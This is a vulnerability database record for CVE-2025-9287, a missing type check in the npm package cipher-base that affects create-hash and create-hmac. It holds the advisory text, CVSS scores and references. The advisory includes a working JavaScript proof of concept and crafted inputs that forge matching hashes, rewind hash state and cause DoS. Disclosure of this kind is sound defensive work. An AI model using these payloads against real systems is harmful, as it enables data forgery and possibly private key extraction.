{"id":"CVE-2025-9287","aliases":["CVE-2025-9287","GHSA-cpq7-6gpm-g9rc"],"related":[],"kind":"vulnerability","state":"published","title":"Missing type checks leading to hash rewind and passing on crafted data","summary":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = createHash('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","format":"markdown","source":"ghsa"},{"lang":"es","text":"La vulnerabilidad de validación de entrada incorrecta en cipher-base permite la manipulación de datos de entrada. Este problema afecta a cipher-base: hasta 1.0.4.","source":"nvd"}],"published":"2025-08-20T21:43:56.548Z","modified":"2026-09-10T03:50:26.901Z","severity":{"scorer":"harborist","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"harborist","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"type":"semver","introduced":"0","lastAffected":"1.0.4","status":"affected"}],"package":"cipher-base","repo":"https://github.com/browserify/cipher-base","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.0.5"}],"ecosystem":"npm","package":"cipher-base","purl":"pkg:npm/cipher-base","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"1.0.4"}],"vendor":"browserify","product":"cipher-base","cpe":"cpe:2.3:a:browserify:cipher-base:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/browserify/cipher-base/pull/23","tags":["issue-tracking","patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9287","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/browserify/cipher-base","tags":["package"],"sources":["ghsa"]}],"credits":["https://github.com/ChALkeR","https://github.com/ljharb"],"assigner":"harborist","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-08-21T13:25:49.498Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-9287","url":"https://www.cve.org/CVERecord?id=CVE-2025-9287","licence":"CVE Terms of Use","modified":"2025-11-03T18:14:17.043Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cpq7-6gpm-g9rc","url":"https://github.com/advisories/GHSA-cpq7-6gpm-g9rc","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:26.901Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-9287","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9287","licence":"Public domain","modified":"2026-06-17T10:08:40.693Z"}],"updatedAt":"2026-11-25T22:59:03.447Z","epss":{"score":0.00627,"percentile":0.5141,"date":"2026-12-01T12:00:22.000Z"}}